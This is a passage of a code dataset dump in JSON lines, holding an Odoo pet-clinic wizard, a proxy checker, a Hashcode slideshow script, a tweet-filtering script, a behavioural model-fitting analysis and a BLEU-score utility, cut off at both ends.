signal.signal(signal.SIGINT, fin_callback)\n    reactor.run()\n","repo_name":"ethanmiller/CookieProf","sub_path":"cookieprof.py","file_name":"cookieprof.py","file_ext":"py","file_size_in_byte":11534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72142880420","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields\nfrom datetime import time\n\n\nclass CreateVisitation(models.TransientModel):\n    _name = 'create.visitation'\n    _description = 'Create visitation Wizard'\n\n    appointment = fields.Many2one(\n        'pet_clinic.appointment')\n    owner = fields.Many2one('pet_clinic.client',\n                            required=True)\n    pet = fields.Many2one(\n        'pet_clinic.pet', required=True)\n    doctor = fields.Many2one(\n        'pet_clinic.doctor', required=True)\n    date = fields.Datetime(string='Date', required=True)\n\n    def create_visitation(self):\n        vals = {\n            'owner': self.owner.id,\n            'pet': self.pet.id,\n            'date': self.date,\n            'doctor': self.doctor.id\n        }\n        self.appointment.message_post(\n            body=\"new visitation Created\", subject=\"visitation Creation\")\n        # creating visitations from the code\n        new_visitation = self.env['pet_clinic.visitation'].create(vals)\n        context = dict(self.env.context)\n        context['form_view_initial_mode'] = 'edit'\n        return {'type': 'ir.actions.act_window',\n                'view_type': 'form',\n                'view_mode': 'form',\n                'res_model': 'pet_clinic.visitation',\n                'res_id': new_visitation.id,\n                'context': context\n                }\n","repo_name":"EstebanMonge/Odoo-Pet-Clinic","sub_path":"wizards/models/create_visitation.py","file_name":"create_visitation.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17825334218","text":"import requests\nimport socket\nfrom multiprocessing import Process\nimport json, sys\n\n\n'''\nProxy Checker\nZ3NTL3\nt.me/lowkeypanelme\n\nUsage:\ndropdown all your proxies in check.txt\n\nUsage Example:\npython3 check.py http ms\npython3 check.py https ms\n'''\ntry:\n    if sys.argv[2].isnumeric:\n        mst = int(sys.argv[2])\n    else:\n        sys.exit(\"\\033[31mPlease only use integer values\")\nexcept:\n    sys.exit(\"\\033[31mPlease only use integer values\")\n\nif type(mst) == int:\n    pass\nelse:\n    sys.exit(\"MS value can only be a integer!\")\n\n\ndef Type():\n    try:\n        protocol = sys.argv[1]\n    \n        if protocol == \"https\":\n            return protocol\n        if protocol == \"http\":\n            return \"http\"\n        if protocol == \"HTTP\":\n            return \"http\"\n        if protocol == \"HTTPS\":\n            return \"https\"\n        else:\n            sys.exit(\"Invalid protocol type! Only https and http\")\n       \n    except:\n        sys.exit(\"Usage examples:\\npython3 check.py https\\npython3 check.py http\")\n\n\ndef Hosts():\n    try:\n        with open(f\"check.txt\",\"r\")as f:\n            filedata = f.read()\n            filedatalist = filedata.split(\"\\n\")\n        global hosts\n        hosts = {}\n        for i in filedatalist:\n            host, port = i.split(\":\")\n            hosts[host] = port\n        return hosts\n    except:\n        sys.exit(\"\\033[31mRemove all white space newlines in check.txt\\033[0m\")\n\ndef AantalLijnen():\n    with open(\"check.txt\",\"r\")as f:\n        daddy = f.readlines()\n    return len(daddy)\n\ndef start():\n    proxytype = Type()\n    proxiesz3ntl3 = Hosts()\n    aantallijnen = AantalLijnen()\n    if proxytype == \"http\":\n        print(f\"Checking {aantallijnen} amount of proxies\\nWith {mst} seconds timeout for each proxy\\n\")\n        for host,port in proxiesz3ntl3.items():\n            try:\n                print(f\"\\033[36mChecking Proxy: \\033[0m{host}:{port}\")  \n                r = requests.get('http://ip-api.com/json', proxies={f'http' : f'http://{host}:{port}'},timeout=mst)\n\n                data = json.loads(r.text) \n                \n                if data['query'] == host:\n                    print(f\"\\033[32mGood Proxy: \\033[0m{host}:{port}\")\n                    with open(\"goods.txt\",\"a+\")as w:\n                        w.write(f\"{host}:{port}\\n\")\n                else:   \n                    print(f\"\\033[31mBad Proxy: \\033[0m {host}:{port}\")\n            except:\n                print(f\"\\033[31mBad Proxy: \\033[0m {host}:{port}\")\n    if proxytype == \"https\":\n        \n        for host,port in proxiesz3ntl3.items():\n            try:\n                print(f\"\\033[36mChecking Proxy: \\033[0m{host}:{port}\")  \n                r = requests.get('https://httpbin.org/ip', proxies={f'https' : f'http://{host}:{port}'},timeout=mst)\n\n                data = json.loads(r.text) \n                \n                if data['origin'] == host:\n                    print(f\"\\033[32mGood Proxy: \\033[0m{host}:{port}\")\n                    with open(\"goods.txt\",\"a+\")as w:\n                        w.write(f\"{host}:{port}\\n\")\n                else:   \n                    print(f\"\\033[31mBad Proxy: \\033[0m {host}:{port}\")\n            except:\n                print(f\"\\033[31mBad Proxy: \\033[0m {host}:{port}\")\nif __name__ == '__main__':\n    print(\"Made by Z3NTL3\")\n    start()\n","repo_name":"gkdkgfdkgdfk/ProxyChecker","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41680305298","text":"import fileinput\nfrom pic import Pic\nfrom slide import Slide\nimport slideshow as slidechow\nfrom slideshowAlgoritmo2 import slideshow\n\n\ndef a_ver_esa_lectura(pics):\n\tfor line in fileinput.input():\n\t\tif not fileinput.isfirstline(): #a tomar viento la primera linea\n\t\t\t# print(line)\n\t\t\tseparada = line[:len(line)-1].split(' ') # Separamos por ' '\n\t\t\t# print(separada)\n\t\t\tfila = fileinput.lineno()\t# n de fila\n\t\t\tpicLeido = Pic(fila-1, separada) # construyo el leido...\n\t\t\tpics.append(picLeido) # y lo anado a la lista\n\t\t\t\n# devuelve el pic de verticales con menor interseccion de tags con elto; y lo elimina de\n# la lista\ndef maximizarTags(elto1: Pic, verticales: list) -> Pic:\n\t# ESTO ESTA MU FEO\t\n\tminIntersec = 10000\n\tencontrado = False\n\telto2 = verticales[0]\n\tlongLista = len(verticales)\n\ti=0\n\twhile (not encontrado) and (i<longLista): #esto no es muy pythonesco pero vamos\n\t\telto2 = verticales[i]\n\t\tlong = len(elto1.tags() & elto2.tags())\n\t\tif long < minIntersec:\n\t\t\tminIntersec = long\n\t\t\tif long == 0:\n\t\t\t\tencontrado = True\n\t\ti += 1\n\treturn verticales.pop(i-1)\n\n\ndef unirVerticales(slides: list, picsV: list):\n\twhile(picsV): # no esta vacia\n\t\telto1 = picsV.pop(0)\n\t\telto2 = maximizarTags(elto1, picsV) # no tengo en cuenta verticales impares...\n\t\t#No existen las verticales impares.\n\t\tslides.append(Slide(elto1, elto2))\n\n\n#meencantacopiarypegarcodigo\ndef estoTeSacaUnaListaDeSlides(slides):\n\tpicsVerticales = []\n\tfor line in fileinput.input():\n\t\tif not fileinput.isfirstline(): #a tomar viento la primera linea\n\t\t\tseparada = line[:len(line)-1].split(' ') # Separamos por ' '\n\t\t\tfila = fileinput.lineno() # n de fila\n\t\t\tpicLeido = Pic(fila-2, separada) # construyo el leido...\n\t\t\tif (picLeido.orientation()):\n\t\t\t\tpicsVerticales.append(picLeido)\n\t\t\telse:\n\t\t\t\tslides.append(Slide(picLeido)) # y lo anado a la lista\n\tunirVerticales(slides, picsVerticales)\t\t\n\n\n\n\nif __name__ == \"__main__\":\n\t#print (\"Holi\")\n\t# pics = []\n\n\t#ejemploPic = Pic(1, ['la', 'fsahn', 'oaga'])\n\n\n\t# a_ver_esa_lectura(pics)\n\t# for pic in pics: \n\t# \tprint(pic) # no tenemos funcion que los muestre pero weno\n\n\n\tslides = []\n\testoTeSacaUnaListaDeSlides(slides)\n\tslidesh = slideshow(slides)\n\t#slidesh = slidechow.slideshow(slides)\n\t#slidesh = slidesh.ordenarMax()\n\t# slidesh = slidesh.ordenarEstadisticamente()\n\tslidesh.escribir()\n","repo_name":"piter1902/hashcode2019_asustados","sub_path":"python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"46078952983","text":"import pandas as pd\n\ncol_list = [\"coordinates\", \"created_at\", \"place\", \"retweet_count\", \"text\", \"user_friends_count\", \"country_id\"]\ntweets = pd.read_csv(\"../../server/filesDir/covidTweetsDataset.csv\", usecols = col_list)\n\ncoor_list = []\ncreated_at_list = []\nplace_list = []\nretw_list = []\ntext_list = []\nuser_friends_count_list = []\nid_country_list = []\n\ncount = 0\nfor i in range(len(tweets)):\n    if(tweets[\"created_at\"][i][4:7] != \"Feb\"):\n        coor_list.append(tweets[\"coordinates\"][i])\n        created_at_list.append(tweets[\"created_at\"][i])\n        place_list.append(tweets[\"place\"][i])\n        retw_list.append(tweets[\"retweet_count\"][i])\n        text_list.append(tweets[\"text\"][i])\n        user_friends_count_list.append(tweets[\"user_friends_count\"][i])\n        id_country_list.append(tweets[\"country_id\"][i])\n\n    else:\n        count = count + 1\n\nprint(count)\n\nfinal = []\n\nfor i in range(len(coor_list)):\n    row = []\n    row.append(coor_list[i])\n    row.append(created_at_list[i])\n    row.append(place_list[i])\n    row.append(retw_list[i])\n    row.append(text_list[i])\n    row.append(user_friends_count_list[i])\n    row.append(id_country_list[i])\n    final.append(row)\n\ndataset = pd.DataFrame(final, columns=[\"coordinates\", \"created_at\", \"place\", \"retweet_count\", \"text\", \"user_friends_count\",\"country_id\"])\ndataset.to_csv(\"dataset.csv\")","repo_name":"gabmarcozzi/Covid-19_Tweets-VA_Project","sub_path":"src/py/delete_february.py","file_name":"delete_february.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71783363621","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"     Behavioural model fit -- Version 3.1.4\nLast edit:  2022/09/24\nAuthor(s):  Geysen, Steven (SG)\nNotes:      - Fit models to behavioural data of Marzecova et al. (2019)\n            - Release notes:\n                * Increased range beta options\n                \nTo do:      - Fit models\n            - Statistics\n            \nQuestions:  \n            \nComments:   AM: The data file was merged in R, from the single files generated\n                in Matlab (they are also attached) - they include parameters\n                from Yu & Dayan's (2005) computational model.\n                The columns contain:\n                    * 'id' - participants id\n                    * 'block' - block # of the task\n                    * 'trial' - trial # of the task\n                    * 'relCue' - direction of the relevant cue\n                        (1: left / 2: right)\n                    * 'irrelCue'- direction of the irrelevant cue\n                        (1: left / 2: right)\n                    * 'validity' - validity with respect to the relevant cue\n                    * 'targetLoc' - location of the target (1: left / 2: right)\n                    * 'relCueCol' - color of the relevant cue\n                        (1: white / 2: black)\n                    * 'gammaBlock' - the validity level within the block\n                    * 'RT' - response time in ms\n                    * 'correct' - if the response was correct: 1, if missed: 3\n                        if incorrect button: 2 (e.g., left button instead of\n                        right)\n                    * 'I' - parameter I from the Yu & Dayan's (2005)\n                        approximate algorithm\n                    * 'guessCue' - the cue which is currently assumed to be\n                        correct\n                    * 'Switch' - count of trials between assumed switches of\n                        the cue\n                    * 'Lamda' - lamda parameter from Yu & Dayan's (2005)\n                        approximate algorithm - unexpected uncertainty\n                    * 'Gamma' - gamma parameter from Yu & Dayan's (2005)\n                        approximate algorithm - expected uncertainty\n                    * 'pMui' - probability that the current context is correct\n                    * 'pMuNotI'- probability that the current  context is not\n                        correct\n                    * 'pe' - prediction error reflecting divergence from the\n                        prediction on current trial (combines Lamda and Gamma)\n                    * 'logRTmod' - log prediction error\n                    * 'logRTexp\" - log RT\n            \nSources:    https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.fmin.html\n            https://docs.scipy.org/doc/scipy/reference/tutorial/optimize.html#nelder-mead-simplex-algorithm-method-nelder-mead\n            Remove NaN from array ( https://stackoverflow.com/a/11620982 )\n            https://theprogrammingexpert.com/python-remove-nan-from-list/\n\"\"\"\n\n\n\n#%% ~~ Imports and directories ~~ %%#\n\n\nimport time\n\nimport numpy as np\nimport pandas as pd\n\nimport fns.assisting_functions as af\nimport fns.behavioural_functions as bf\nimport fns.plot_functions as pf\nimport matplotlib.pyplot as plt\n\nfrom pathlib import Path\nfrom scipy import optimize, stats\n\n\n# Directories\nSPINE = Path.cwd().parent\nDATA_DIR = SPINE / 'data'\nOUT_DIR = SPINE / 'results'\nif not Path.exists(OUT_DIR):\n    Path.mkdir(OUT_DIR)\n\n\n\n#%% ~~ Variables ~~ %%#\n\n\n# Uncertainty data\nun_data = pd.read_csv(DATA_DIR / 'UnDataProjectSteven.csv')\n## Rescale 1-2 to 0-1\nscaList = ['relCue', 'irrelCue', 'validity', 'targetLoc', 'relCueCol']\nun_data.loc[:, (scaList)] = abs(un_data.loc[:, (scaList)] - 1)\n## Separate data sets for convenience\nvalid_data = un_data[un_data['validity'] == 0]\ninvalid_data = un_data[un_data['validity'] == 1]\n\n# Number of iterations\nN_ITERS = 10\n# Models with optimiseable parameters\n# MDLS = ['RW', 'H', 'M']\nMDLS = ['RW', 'H']\n# Number of participants\nnpp = un_data['id'].max()\n# Number of trials in bin\nbinsize = 15\n\n# Alpha/eta options\nalpha_options = np.linspace(0.01, 1, 20)\n# Beta options\n##SG: The SoftMax policy needs a high beta value for the model to be accurate\n    # (see simulations). Therefore it is not usefull to look at beta values\n    # smaller than 10.\nbeta_options = np.linspace(0.1, 20, 20)\n\n# Plot specs\n## Plot number\nplotnr = 0\n## Plot labels\nplabels = ['Valid trials', 'Invalid trials']\n## Model labels\nmodels = af.labelDict()\n##SG: To have the smallest alpha and beta values in the same corner (left-down)\nplotbetas = np.flip(beta_options)\n\n\n\n#%% ~~ Exploration ~~ %%#\n#########################\n\n\n#%% ~~ RT split ~~ %%#\n#--------------------#\n\"\"\"\nTrying to answer \"Can I know the participant's selection?\"\n\nThe reasoning is that RT under the median are fast RTs, and fast RTs should be\nmore prevalent on congruent trials. Slow RTs are then a stand in for\nincongruent. This plot is to see how well this assumption can be seen in the\nbehavioural data.\n\nDOES NOT WORK!\n\"\"\"\n\n\n# Participant loop\nfor ppi in range(npp):\n    ## Skip pp6 (not in data)\n    if ppi + 1 == 6:\n        continue\n    ## Use only data from pp\n    pp_data = un_data[un_data['id'] == ppi + 1]\n    \n    # Median RT\n    ##SG: Excluded NaN values when computing the result.\n    median_rt = pp_data['RT'].median()\n    pp_data.loc[:, ('selCue_PP')] = np.where(pp_data['RT'] < median_rt,\n                                             pp_data['relCueCol'],\n                                             abs(1 - pp_data['relCueCol']))\n    pf.selplot(pp_data, 'pp', plotnr, pp=ppi)\n    plotnr += 1\n\n\n\n#%% ~~ Plots ~~ %%#\n#-----------------#\n\n\n# RT distribution plot\n# --------------------\nfig, ax = plt.subplots()\nax.hist(valid_data['RT'], bins = 30, alpha = 0.5, label=plabels[0])\nax.hist(invalid_data['RT'], bins = 30, alpha = 0.5, label=plabels[1])\n\nfig.suptitle('RT distribution participants', fontsize=14)\nax.set_xlabel('Response times (s)')\nax.set_ylabel('Count')\nax.legend()\n\nplt.show()\nplotnr += 1\n\n\n# RT validity effect\n# ------------------\nvalrt = np.asarray(valid_data['RT'])\ninvalrt = np.asarray(invalid_data['RT'])\n## Remove NaN values\nrt_data = [valrt[~np.isnan(valrt)], invalrt[~np.isnan(invalrt)]]\n\nfig, axs = plt.subplots(nrows=1, ncols=2, figsize=(9, 4))\nfig.suptitle('Validity effect')\nvplot, bplot = axs[0], axs[1]\n## Violin plot\nvplot.violinplot(rt_data,\n                  showmeans=False,\n                  showmedians=True)\nvplot.set_title('Violin plot participants')\n## Box plot\nbplot.boxplot(rt_data)\nbplot.set_title('Box plot participants')\n\nfor ax in axs:\n    ax.yaxis.grid(True)\n    ax.set_xticks([y + 1 for y in range(len(rt_data))],\n                  labels=plabels)\n    ax.set_xlabel('Trial type')\n    ax.set_ylabel('Response times')\n\nplt.show()\nplotnr += 1\n\n\n# RTs over time\n# -------------\nfirst_bin = []\nlast_bin = []\n\n\nfor ppi in range(npp):\n    ## Skip pp6 (not in data)\n    if ppi + 1 == 6:\n        continue\n    ## Use only data from pp\n    pp_data = un_data[un_data['id'] == ppi + 1]\n    pp_data.reset_index(drop=True, inplace=True)\n    pp_rt = pp_data['RT']\n    \n    lag_relCueCol = pp_data.relCueCol.eq(pp_data.relCueCol.shift())\n    switches = np.where(lag_relCueCol == False)[0]\n    \n    ## Bin RT of first and last b trials\n    for starti, endi in af.pairwise(switches):\n        first_bin.append(np.nanmean(pp_rt[starti:starti + binsize]))\n        last_bin.append(np.nanmean(pp_rt[endi - binsize:endi + 1]))\n    \n    ## Length of switch bars depends on values of participant\n    barlen = (np.nanmin(pp_rt) + (np.nanmin(pp_rt) * 0.1),\n              np.nanmax(pp_rt) + (np.nanmax(pp_rt) * 0.1))\n    \n    # RT curve\n    plt.figure(plotnr)\n    plt.suptitle(f'RT curve participant {ppi}', y=.99)\n    plt.plot(pp_rt, label='RT')\n    plt.vlines(switches[1:], barlen[0], barlen[1], colors='black')\n    \n    plt.xlabel('Trials')\n    plt.ylabel('Response time (s)')\n    plt.ylim(barlen[0] - 50, barlen[1] + 100)\n    \n    plt.legend()\n    plt.tight_layout()\n\n    plt.show()\n    plotnr += 1\n\n\n# Binned RT\n## Remove NaN values\nfirstlist = [i for i in first_bin if np.isnan(i) == False]\nlastlist = [i for i in last_bin if np.isnan(i) == False]\nplotbins = [firstlist, lastlist]\n\nfig, axs = plt.subplots(nrows=1, ncols=2, figsize=(9, 4))\nfig.suptitle('Mean binned RT')\nvplot, bplot = axs[0], axs[1]\n## Violin plot\nvplot.violinplot(plotbins,\n                  showmeans=False,\n                  showmedians=True)\nvplot.set_title('Violin plot participants')\n## Box plot\nbplot.boxplot(plotbins)\nbplot.set_title('Box plot participants')\n\nfor ax in axs:\n    ax.yaxis.grid(True)\n    ax.set_xticks([y + 1 for y in range(len(plotbins))],\n                  labels=[f'First {binsize} trials',\n                          f'Last {binsize} trials'])\n    ax.set_xlabel('Trial numbers')\n    ax.set_ylabel('Response times')\n\nplt.show()\nplotnr += 1\n\n\n# =============================================================================\n# Output numbers\n# =============================================================================\nprint('RT valid trials')\nprint('mean', np.nanmean(valid_data['RT']), np.nanstd(valid_data['RT']))\nprint('RT invalid  trials')\nprint('mean', np.nanmean(invalid_data['RT']), np.nanstd(invalid_data['RT']))\n\nprint(f'First {binsize} trials')\nprint('mean', np.nanmean(first_bin), np.nanstd(first_bin))\nprint(f'Last {binsize} trials')\nprint('mean', np.nanmean(last_bin), np.nanstd(last_bin))\n## Quick check if different enough\nprint('Paired t-test')\nprint(stats.ttest_rel(first_bin, last_bin, nan_policy='omit'))\n\n\n\n#%% ~~ Fitting ~~ %%#\n#####################\n\n\n#%% ~~ SoftMax ~~ %%#\n#-------------------#\n\n\n#%% ~~ Grid search ~~ %%#\n\n\ngridThetas = np.full((npp, len(MDLS), 2), np.nan)\n\nstart_total = time.time()\nfor ppi in range(npp):\n    ## Skip pp6 (not in data)\n    if ppi + 1 == 6:\n        continue\n    ## Use only data from pp\n    pp_data = un_data[un_data['id'] == ppi + 1]\n    pp_data.reset_index(drop=True, inplace=True)\n    one_totpp = np.zeros((len(alpha_options), len(beta_options), len(MDLS)))\n    \n    start_pp = time.time()\n    for locm, modeli in enumerate(MDLS):\n        for loca, alphai in enumerate(alpha_options):\n            for locb, betai in enumerate(beta_options):\n                for iti in range(N_ITERS):\n                    one_totpp[loca, locb, locm] += bf.pp_negSpearCor(\n                        (alphai, betai), pp_data, model=modeli, asm='soft'\n                        )\n        modeldata = one_totpp[:, :, locm] / N_ITERS\n        # Optimal values\n        toploc=[i[0] for i in np.where(one_totpp == np.min(one_totpp))]\n        gridThetas[ppi, locm, :] = [alpha_options[toploc[0]], beta_options[toploc[1]]]\n        \n        # Intermittent checking\n        if ppi % 2 == 0:\n            fig, ax = plt.subplots()\n            im, _ = pf.heatmap(np.rot90(one_totpp[:, :, locm]),\n                               np.round(plotbetas, 3),\n                               np.round(alpha_options, 3), ax=ax,\n                               row_name='$\\u03B2$', col_name='$\\u03B1$',\n                               cbarlabel='Negative Spearman Correlation')\n            plt.suptitle(f'Grid search Negative Spearman Correlation of choice {ppi}')\n            plt.show()\n            plotnr += 1\n    print(f'Duration pp {ppi}: {round((time.time() - start_pp) / 60, 2)} minutes')\nprint(f'Duration total: {round((time.time() - start_total) / 60, 2)} minutes')\n\n# Save optimal values\n##SG: Remove empty row of participant 6\n# gridThetas = np.delete(gridThetas, 5, 0)\nfor locm, modeli in enumerate(MDLS):\n    title = f'pp_gridsearch_{N_ITERS}iters_softmax_{modeli}.csv'\n    pd.DataFrame(gridThetas[:, locm, :],\n                 columns=['alpha', 'beta']).to_csv(OUT_DIR / title)\n\n\n\n#%% ~~ Nelder - Mead ~~ %%#\n\n\ninitial_guess = np.full((npp, N_ITERS, 2), np.nan)\nnmThetas = np.zeros((npp, len(MDLS), 2))\n\nstart_total = time.time()\nfor ppi in range(npp):\n    ## Skip pp6 (not in data)\n    if ppi + 1 == 6:\n        continue\n    ## Use only data from pp\n    pp_data = un_data[un_data['id'] == ppi + 1]\n    pp_data.reset_index(drop=True, inplace=True)\n    \n    start_pp = time.time()\n    for iti in range(N_ITERS):\n        initial_guess[ppi, iti, :] = (np.random.choice(alpha_options),\n                                      np.random.choice(beta_options))\n        for locm, modeli in enumerate(MDLS):\n            nmThetas[ppi, locm, :] += optimize.fmin(\n                bf.pp_negSpearCor, initial_guess[ppi, iti, :],\n                args=(pp_data, modeli), ftol=0.001)\n    print(f'Duration pp {ppi}: {round((time.time() - start_pp) / 60, 2)} minutes')\nprint(f'Duration total: {round((time.time() - start_total) / 60, 2)} minutes')\n\nnmThetas /= N_ITERS\n# Save optimal values\n# nmThetas = np.delete(gridThetas, 5, 0)\nfor locm, modeli in enumerate(MDLS):\n    title = f'pp_NelderMead_{N_ITERS}iters_softmax_{modeli}.csv'\n    pd.DataFrame(nmThetas[:, locm, :],\n                 columns=['alpha', 'beta']).to_csv(OUT_DIR / title)\n\n\n# Correlation plot\nfig, axs = plt.subplots(nrows=1, ncols=2)\nfig.suptitle('Parameter estimation Nelder-Mead')\nfor pari, ax in enumerate(axs):\n    for locm, modeli in enumerate(MDLS):\n        ax.plot(nmThetas[:, locm, pari], 'o', label=f'{models[modeli]}')\n    ax.set_ylabel('Initial guess')\n\naxs[0].set_xticks(np.round(alpha_options, 3))\naxs[0].set_xlabel('Mean estimated alpha/eta values')\naxs[0].set_yticks(np.round(alpha_options, 3))\naxs[1].set_xlabel('Mean estimated beta values')\naxs[1].set_yticks(np.round(beta_options, 3))\nplt.legend()\n\nplt.show()\nplotnr += 1\n\n\n\n#%% ~~ Argmax ~~ %%#\n#------------------#\n\n\n##SG: +1 to store optimal values\ngridThetas = np.zeros((npp, len(MDLS), len(alpha_options) + 1))\n\nstart_total = time.time()\nfor ppi in range(npp):\n    ## Skip pp6 (not in data)\n    if ppi + 1 == 6:\n        continue\n    ## Use only data from pp\n    pp_data = un_data[un_data['id'] == ppi + 1]\n    pp_data.reset_index(drop=True, inplace=True)\n    \n    start_pp = time.time()\n    for locm, modeli in enumerate(MDLS):\n        for loca, alphai in enumerate(alpha_options):\n            for iti in range(N_ITERS):\n                gridThetas[ppi, locm, loca] += bf.pp_negSpearCor((alphai, ),\n                                                                 pp_data,\n                                                                 model=modeli)\n        modeldata = gridThetas[ppi, locm, :-1] / N_ITERS\n        # Optimal values\n        toploc = [i[0] for i in np.where(modeldata == np.min(modeldata))]\n        gridThetas[ppi, locm, -1] = alpha_options[toploc[0]]\n        \n        # Intermittent checking\n        if ppi % 2 == 0:\n            pf.heatmap_1d(modeli, modeldata, toploc, alpha_options,\n                          gridThetas[ppi, :, -1])\n            plotnr += 1\n    print(f'Duration pp {ppi}: {round((time.time() - start_pp) / 60, 2)} minutes')\n    print(gridThetas[ppi, :, -1])\nprint(f'Duration total: {round((time.time() - start_total) / 60, 2)} minutes')\n# Save optimal values\ntitle = f'pp_gridsearch_{N_ITERS}iters_argmax.csv'\n##SG: Remove empty row of participant 6\n# gridThetas = np.delete(gridThetas, 5, 0)\npd.DataFrame(gridThetas[:, :, -1], columns=MDLS).to_csv(OUT_DIR / title)\n\n##SG: Paired t-test to see if the difference between the estimated model\n    # parameters is big.\nprint(stats.ttest_rel(gridThetas[:, 0, -1], gridThetas[:, 1, -1],\n                      nan_policy='omit'))\n\n\n\n#%% ~~ Nelder - Mead ~~ %%#\n\n\ninitial_guess = np.full((npp, N_ITERS), np.nan)\nnmThetas = np.zeros((npp, len(MDLS)))\n\nstart_total = time.time()\nfor ppi in range(npp):\n    ## Skip pp6 (not in data)\n    if ppi + 1 == 6:\n        continue\n    ## Use only data from pp\n    pp_data = un_data[un_data['id'] == ppi + 1]\n    pp_data.reset_index(drop=True, inplace=True)\n    \n    start_pp = time.time()\n    for iti in range(N_ITERS):\n        initial_guess[ppi, iti] = np.random.choice(alpha_options)\n        for locm, modeli in enumerate(MDLS):\n            nmThetas[ppi, locm] += optimize.fmin(bf.pp_negSpearCor,\n                                                  (initial_guess[ppi, iti], ),\n                                                  args=(pp_data, modeli, 'arg'),\n                                                  ftol=0.001)\n    print(f'Duration pp {ppi}: {round((time.time() - start_pp) / 60, 2)} minutes')\n    \n    if ppi % 2 == 0:\n        print(initial_guess)\n        print(nmThetas[ppi])\nprint(f'Duration total: {round((time.time() - start_total) / 60, 2)} minutes')\n\nnmThetas /= N_ITERS\n# Save optimal values\ntitle = f'pp_NelderMead_{N_ITERS}iters_argmax.csv'\n# nmThetas = np.delete(gridThetas, 5, 0)\npd.DataFrame(nmThetas, columns=MDLS).to_csv(OUT_DIR / title)\n\n\n# Correlations\nyvals = np.array(list(set(initial_guess)))\n\nfig, ax = plt.subplots()\nfig.suptitle('Parameter estimation Nelder-Mead')\nfor locm, modeli in enumerate(MDLS):\n    print(modeli)\n    print(stats.ttest_rel(nmThetas[:, locm], initial_guess,\n                          nan_policy='omit'))\n    # Plot\n    ax.plot(nmThetas[:, locm], 'o', label=f'{models[modeli]}')\n\nax.set_xlabel('Mean estimated values')\nax.set_ylabel('Initial guess')\nax.set_yticks(np.round(yvals, 3))\nplt.legend()\n\nplt.show()\nplotnr += 1\n\n\n\n# ------------------------------------------------------------------------ End\n","repo_name":"StevenGeysen/ScriptsThesisUncertainty","sub_path":"scripts/behavioural_model_fit.py","file_name":"behavioural_model_fit.py","file_ext":"py","file_size_in_byte":17292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43976026535","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport math\nimport os\nimport os.path\nimport re\nimport sys\nimport time\nimport six\nimport cython_bleu\nimport glob\nimport tqdm\n\nimport find_best_pairs\n\nfrom bleu_hook import _get_ngrams, bleu_tokenize, compute_bleu\nfrom profiling import Timer\nimport profiling\nfrom datetime import datetime\n\n\ndef read_nonempty(filename):\n  with open(filename, 'r') as file:\n    return [line.strip() for line in file.readlines()\n            if line.strip() not in ['', '.']]\n\n# bleu_score & tokenize # tensor2tensor\ndef tokenize(string):\n  return bleu_tokenize(string)\n\n\ndef get_latest_i(numb_of_book):\n  path = 'working_dir/*.book{}'.format(numb_of_book)\n  files = glob.glob(path)\n  files = [f.split('/')[-1] for f in files if 'nothing' not in f]\n  files = [f.split('.')[0] for f in files]\n  if not files:\n    return 0\n  else:\n    return max([int(f) for f in files])\n\n\ndef tokenize_then_ngram(list_of_string):\n  result = []\n  for string in tqdm.tqdm(list_of_string):\n    # with Timer('tok_ngram'):\n    tokens = tokenize(string)\n    ngrams = _get_ngrams(tokens, max_order=4)\n    result.append((tokens, ngrams))\n  # profiling.print_records()\n  return result\n\n\ndef compute_bleu_slow(references,\n                      translations,\n                      max_order=4,\n                      use_bp=True):\n  \"\"\"Computes BLEU score of translated segments against one or more references.\n\n  Args:\n    reference_corpus: list of references for each translation. Each\n        reference should be tokenized into a list of tokens.\n    translation_corpus: list of translations to score. Each translation\n        should be tokenized into a list of tokens.\n    max_order: Maximum n-gram order to use when computing BLEU score.\n    use_bp: boolean, whether to apply brevity penalty.\n\n  Returns:\n    BLEU score.\n  \"\"\"\n  reference_length = 0\n  translation_length = 0\n  bp = 1.0\n  geo_mean = 0\n\n  matches_by_order = [0] * max_order\n  possible_matches_by_order = [0] * max_order\n  precisions = []\n\n  references_tokens, ref_ngram_counts = references\n  translations_tokens, translation_ngram_counts = translations\n\n  reference_length += len(references_tokens)\n  translation_length += len(translations_tokens)\n\n  overlap = dict((ngram,\n                  min(count, translation_ngram_counts[ngram]))\n                for ngram, count in ref_ngram_counts.items())\n\n  for ngram in overlap:\n    matches_by_order[len(ngram) - 1] += overlap[ngram]\n  for ngram in translation_ngram_counts:\n    possible_matches_by_order[len(ngram)-1] += translation_ngram_counts[ngram]\n\n  # with Timer('the rest of bleu score'):\n  precisions = [0] * max_order\n  smooth = 1.0\n  for i in range(0, max_order):\n    if possible_matches_by_order[i] > 0:\n      precisions[i] = matches_by_order[i] / possible_matches_by_order[i]\n      if matches_by_order[i] > 0:\n        precisions[i] = matches_by_order[i] / possible_matches_by_order[i]\n      else:\n        smooth *= 2\n        precisions[i] = 1.0 / (smooth * possible_matches_by_order[i])\n    else:\n      precisions[i] = 0.0\n\n  if max(precisions) > 0:\n    p_log_sum = sum(math.log(p) for p in precisions if p)\n    geo_mean = math.exp(p_log_sum/max_order)\n\n  if use_bp:\n    if not reference_length:\n      bp = 1.0\n    else:\n      ratio = translation_length / reference_length\n      if ratio <= 0.0:\n        bp = 0.0\n      elif ratio >= 1.0:\n        bp = 1.0\n      else:\n        bp = math.exp(1 - 1. / ratio)\n  bleu = geo_mean * bp\n  # print_records()\n  return np.float32(bleu)\n\n\ndef test_bleu():\n\n  string1 = 'hello world how are you'\n  string2 = string1\n\n  bleu = compute_bleu(\n    tokenize_then_ngram([string1])[0],\n    tokenize_then_ngram([string2])[0]\n  